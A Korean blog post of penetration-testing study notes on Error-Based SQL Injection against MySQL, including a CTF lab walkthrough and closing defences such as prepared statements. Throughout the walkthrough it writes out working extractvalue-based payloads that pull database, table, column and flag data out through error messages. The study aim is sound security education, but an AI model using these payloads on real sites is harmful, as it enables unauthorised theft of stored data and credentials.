모의해킹 스터디 복습

모의해킹 스터디 7주차(1): Error-Based SQL Injection

whydontyoushovel 2024. 12. 1. 04:43

 

 

 

SQL Injection

DB에서 준비한 쿼리문에 SQL 구문을 주입하여 로그인, 인증을 우회하거나

DB의 데이터를 추출할 수 있는 해킹 기법. 

 

 

 

SQL Injection 주구장창 하는 이유

더보기

1. 위험도가 높다.

2. 다른 위험도 높은 취약점에 비해 공부할 양이 많다.

 

mysql과 다른 sql언어는 세부적으로 다른 점이 있어서

추가로 공부해야할 내용도 있음.

 


 

< SQL Injection으로 DB 데이터를 추출할 경우 >

 

  • DB 데이터 화면에 출력

=> UNION SQL Injection이 가장 적합

 

  • DB 데이터가 화면에 출력되지 않지만 SQL 에러가 출력

=> Error-Based SQL Injection이 가장 적합

 

  • DB 데이터가 화면에 출력되지 않지만 입력값에 대한 참/거짓을 구분할 수 있음

=> Blind SQL Injection이 가장 적합

 

 

 

 

 

 

 

  Error-Based SQL Injection

 

화면에 SQL 에러 메시지가 출력될 때 그 에러메시지를 활용하여 데이터를 출력하는 공격 기법.

데이터를 추출하기 위해선 SQL 쿼리를 실행은 시켜야하기 때문에 문법에 맞춰서 로직 에러를 유도해야함.

 

 

 

<실행 조건>

 

1) select문을 실행시켜야하기 때문에 문법에는 맞아야 함. 아니면 Syntax error에서 막힘 -> 쓸모없음.

    (정보를 추출할 수는 없지만 사이트가 SQL 에러를 출력하는지는 알 수 있음. SQL 뭐 쓰는지도 알 수 있지 않을까..?)

 

2) SQL 에러여야 함. (php코드 에러 등이 아님.)

 

 

 

<간단한 원리 설명>

 

예를 들어

(SELECT pass FROM member WHERE id = 'normaltic') = 1

이라는 쿼리를 실행시킨다고 해보자.

 

SELECT 문으로 추출되는 데이터는 id가 normaltic인 행의 비번 값임.

이 비번 값을 숫자 1과 비교하고 있다.

 

이때 normaltic의 비번이 1이 아니면 대략 에러문은 이런 식으로 나옴.

 

Error: '1234'는 1이 아니에용.

 

1234는 select문이 실행되어 반환된 normaltic의 비번임.

이를 통해 공격자는 normaltic의 비번을 알아낼 수 있게되는 것.

(※ 이건 아주 러프한 예시이고 실제 실행시 다른 문구가 나올 수 있다.) 

 

 

Error-Based SQL Injection의 DB 실행 순서

더보기

실행 순서

0) 문법 검사

1) select문 실행 (조회 -> 값 반환)

2) 논리적 에러 발견

3) 에러 메시지 생성

 

SQL 이 이런 순서로 실행되기 때문에

에러 메시지에 DB 정보가 노출되는 것.

 

 

단, 쿼리문을 문법에 맞게 사용하지 않아서 Syntax error가 뜨면

그 쿼리문은 실행조차 안됨. => 데이터 반환 안됨.

 

 

 

 

<로직 에러를 일으키는 데 쓸 함수>

EXTRACTVALUE 함수

 

 

  • EXTRACTVALUE의 구조

가장 중요한 로직 에러를 일으키는 방법은 여러가지가 있으나

그 중 대표적인 MySQL 에러 유발 함수가 extractvalue 함수이다.

 

 

extractvalue 함수는 MySQL 에서 XML데이터를 다루기 위해 사용되는데

이걸 사용하기 위해 두 가지 파라미터 필요.

extractvalue('xml데이터', '앞의 데이터에서 값을 뽑을 경로')
#저 경로를 XPATH라고 부르는 듯함.

 

 

  • 올바른 사용 예시

 

extractvalue함수의 올바른 사용 예시로 이런 SELECT 문을 사용할 수 있음.

#xml 코드 예시
<book>
  <title>Database Systems</title>
</book>

#extractvalue 예시
SELECT extractvalue('<book><title>Database Systems</title></book>','/book/title') AS book_title;

 

그럼 아래와 같은 테이블이 만들어지는 기능임.

book_title
Database Systems

 

 

  • Error-Based SQL Injection에서 사용할 때

 

이 함수를 Error-Based SQL Injection에 사용하기 위해 두 번째 인자(XPATH값)에 유효하지 않은 특수문자를 사용함.

 

 

예를 들어 SQL 에러가 출력되는 로그인 페이지에서 이런 값을 입력할 경우

normaltic'
and extractvalue('1', concat(0x3a, (select 'normaltic')))
and '1'='1

 

XPATH syntax error: ':normaltic'   이라는 에러 메시지가 출력될 것임.

 

 

추가 설명

더보기

 

1. select문으로 원하는 데이터를 출력(여기서는 'normaltic')

 

2. concat으로 select문과 유효하지 않은 특수문자를 연결시킴

    2-1. 0x3a는 아스키 코드의 16진수로 콜론(:)을 뜻함 -> 유효하지 않은 특수문자를 문법 에러 없이 표현

    2-2. ':normaltic' 그대로 사용하면 에러 나서 수 없어서 concat으로 이어붙임. 

 

3. extractvalue의 '1'은 아무 숫자나 붙인 것.

 

4. and '1'='1은 서버의 문법을 의식해 붙인 항등원 값. 대신 주석처리 해도 됨.(#이나 --)

 

 

:normaltic이 출력됐다는 건 뭐다~???

 

괄호 안 select문에 내가 원하는 select문을 넣어서

DB 데이터 추출할 수 있다~~

 

 

로직 에러를 유발하는 함수들

더보기

1) EXTRACTVALUE

MySQL 에서 자주 사용. 8버전 이상부터는 안된다고 함. (내 사이트에서 실험해봐야할 부분)

 

2) UPDATEXML

extractvalue랑 비슷. xml내용을 업데이트할 때 사용. 얘는 select 뒤에 파라미터 하나 더 필요.

 

3) 더 있을텐데 지금 쓸만한 건 위 두 개임. 이 밖에도 서버에 부하를 주는 함수들도 있다고 함.

 

 

 

<extractvalue를 이용한 공격 포맷>

 

 

이제부터 사용할 페이로드는 이걸 기반으로 만들어짐.

어쩌구' and extractvalue('1', concat(0x3a, (select _________))) and '1'='1

 

 

 

 

 

  실행 절차 가이드 + CTF

 

1) SQLi 포인트 찾기

2) 에러를 출력할 함수 선택

3) 공격 포맷 만들기

4) DB 이름 출력

5) 테이블 이름 출력

6) 컬럼 이름

7) 데이터 추출

 

 

 

 

 

 

 

㉮  SQL Injection 포인트 찾기

 

UNION SQL i 때는 %' and '1%'=1 같은 걸 검색해서

작은 따옴표 등의 기호가 쿼리문으로 적용되는지 확인하는 단계였지만

 

Error-Based SQL Injection에서는 에러메시지가 출력되는지 확인하는 것이 목표.

 

 

normaltic'   ->   이런 식으로 문법 오류를 유발.

 

SQL 에러가 출력되면 OK♡

출력되지 않으면 다른  SQLi 시도

 

 

문법 에러가 출력된 모습.

 

 

문법 에러가 출력되면 이번엔 에러를 출력할 함수를 선택함.

 

 

 

 

㉯  에러 출력할 함수 선택

 

로직 에러를 출력하기 위해 여러 함수를 사용할 수 있고

DB가 무엇이냐에 따라 또 달라짐.

 

지금은 mysql 환경을 기반으로 하니

extractvalue 함수를 사용할 예정

 

 

 

㉰  공격 포맷 만들기

 

extractvalue 함수를 이용한 공격 포맷을 만들어 둬야 나중에 안 꼬임.

 

 

위에서 만든 공격 포맷:

normaltic' and extractvalue('1', concat(0x3a, (select ________))) and '1'='1

 

 

이렇게 만들어둬야

나중에 DB이름을 찾든, 테이블을 찾든

괄호 안만 채워주면 되기 때문에 좋음.

 

 

다음 단계로 넘어가기 전에 공격 포맷이 제대로 먹히는지 시험해보기.

 

normaltic' and extractvalue('1', concat(0x3a, (select 'normaltic'))) and '1'='1

을 검색해본다.

 

XPATH 오류가 출력되면 굿.

안되면 다른 방법을 찾아야 함.

 

굿.

굿.

 

 

 

㉱  DB 이름 찾기

 

 

DB이름을 찾는 쿼리문:

select database()

 

 

내가 가진 공격 포맷:

normaltic' and extractvalue('1',concat(0x3a, (select ______))) and '1'='1

 

 

DB이름 찾는 쿼리문 + 공격 포맷:

normaltic' and extractvalue('1', concat(0x3a, (SELECT database()))) and '1'='1

 

펜 파인애플 애플 펜

 

참고로 쿼리 끝에 '1'='1 대신 #을 붙여도 같은 결과를 얻을 수 있음.

 

 

 

㉲  테이블 이름 찾기

 

테이블 이름 찾는 쿼리:

SELECT table_name

FROM information_schema.tables

WHERE table_schema = 'DB 이름'

 

 

내가 가진 공격 포맷:

normaltic' and extractvalue('1',concat(0x3a, (select ______))) and '1'='1

 

 

테이블 이름 찾는 쿼리 + 공격 포맷:

normaltic' and extractvalue('1', concat(0x3a, (SELECT table_name FROM information_schema.tables WHERE table_schema = 'errSqli'))) and '1'='1

 

 

 

 

subquery returns more than 1 row라는 오류문이 나옴.

=> 테이블 개수가 하나 이상이라는 뜻.

 

이럴 때 LIMIT 을 사용하면 됨.

근데 이제 SELECT문의 결과에 대한 내용이기 때문에

괄호 안 SELECT문 끝에 붙여야 제대로 동작함.

 

 

 

테이블 이름 찾는 쿼리 + 공격 포맷:

normaltic' and extractvalue('1', concat(0x3a, (SELECT table_name FROM information_schema.tables WHERE table_schema = 'errSqli' limit 0,1))) and '1'='1

 

LIMIT 0,1
LIMIT 1,1
LIMIT 2,1

 

LIMTI 3,1은 오류문 출력되지 않음. -> 결과 없음.

 

 

errSqli라는 DB에 속한 테이블

1) flagTable

2) member

3) plusFlag_Table

 

 

 

㉳  컬럼 이름 찾기

 

 

컬럼 찾는 쿼리문:

SELECT column_name

FROM information_schema.columns

WHERE table_name = '테이블 이름'

 

 

내가 가진 공격 포맷:

normaltic' and extractvalue('1',concat(0x3a, (select ______))) and '1'='1

 

 

컬럼 찾는 쿼리문 + 공격 포맷:

normaltic' and extractvalue('1',concat(0x3a, (SELECT column_name FROM information_schema.columns WHERE table_name = '테이블 이름'))) and '1'='1

 

 

 

1) flagTable

 

normaltic' and extractvalue('1',concat(0x3a, (SELECT column_name FROM information_schema.columns WHERE table_name = 'flagTable'))) and '1'='1

 

=> 쿼리 결과 1행 이상  ==> limit 추가

 

normaltic' and extractvalue('1',concat(0x3a, (SELECT column_name FROM information_schema.columns WHERE table_name = 'flagTable' limit 0,1))) and '1'='1

 

 

LIMIT 0,1 결과

 

LIMIT 1,1 결과

 

LIMIT 2,1은 나오지 않음.

 

__________(flagTable -> idx, flag)

 

 

 

1) member

 

 

normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='member' limit 0,1))) #  

 

LIMIT 0,1

 

LIMIT 1,1

 

LIMIT 2,1

 

LIMIT 3,1

 

 

limit 4,1  => 없음

 

 

__________(member -> id, pass, email, info)

 

 

3) plusFlag_Table

 

 

normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='plusFlag_Table' limit 0,1))) #     =>  idx

 

LIMIT 0,1

 

LIMIT 1,1

 

 

limit 2,1  => 없음

 

__________(plusFlag_Table -> idx, flag)

 

 

 

 

㉴  데이터 추출하기

 

 

컬럼 찾는 쿼리문:

SELECT 컬럼명 FROM 테이블

 

 

내가 가진 공격 포맷:

normaltic' and extractvalue('1',concat(0x3a, (select ______))) and '1'='1

 

 

컬럼 찾는 쿼리문 + 공격 포맷:

normaltic' and extractvalue('1',concat(0x3a, ( SELECT 컬럼명 FROM 테이블 )) and '1'='1

 

 

 

 

1) flagTable

 

 

flagTable -> idx, flag

 

normaltic' and extractvalue('1',concat(0x3a, (SELECT flag FROM flagTable))) and '1'='1

 

플래그 발견

LIMIT 1,1 결과 없음.

 

 

________(플래그 발견)

 

 

 

이렇게 규칙이 있다는 것은 뭐다? 자동화할 수 잇다는 뜻이다~

자동화하면 뭐다?? 프로그래밍이다~~

 

 

노말팀님이 시연하신 자동화 프로그램(파이썬) 로직

 

1) 터미널에서 파이썬 파일 실행

2) SQL 입력하라 함. 

3) SELECT database() 입력

4) DB명 뜸.

5) 또 터미널에서 파이썬 파일 실행

6) SQL 입력하라 함.

7) table이름 찾는 쿼리 (limit 안 씀)

8) table이름이 주루룩 뜸ㄷㄷ

 

(알고리즘 적용해서 더 빠르다고도 하심.)

 

 

 

 

 

  정리하다 찾은 대응 방안들

 

 

1) 디버깅 시에는 에러 로그를 이용하고 사용자에게 출력될 오류문은 에러 핸들러 만들어서 처리

  (에러 처리 안하면 500 error 페이지가 뜨는가봄)

2) WAF (Web Application Firewall)

3) Prepared Statement

 

 

+

쿼리 실행 결과가 아니라 문제가 되는 쿼리문만 에러 메시지에 노출시키면 안되나 챗지피티한테 물어봤는데

 

그럼 에러 로그가 번잡해질 수도 있고 비효율적이라고 함.

전체 쿼리문을 노출시키는 건 오히려 위험하다는 말도 한 거 봐선 문제가 되는 일부만 선택해서 노출시키는 건 안되거나 힘든 듯.

 

운영과 보안 측면에서 균형을 잡을 수 있는 방안이 위 3가지로 정리되는 듯하다.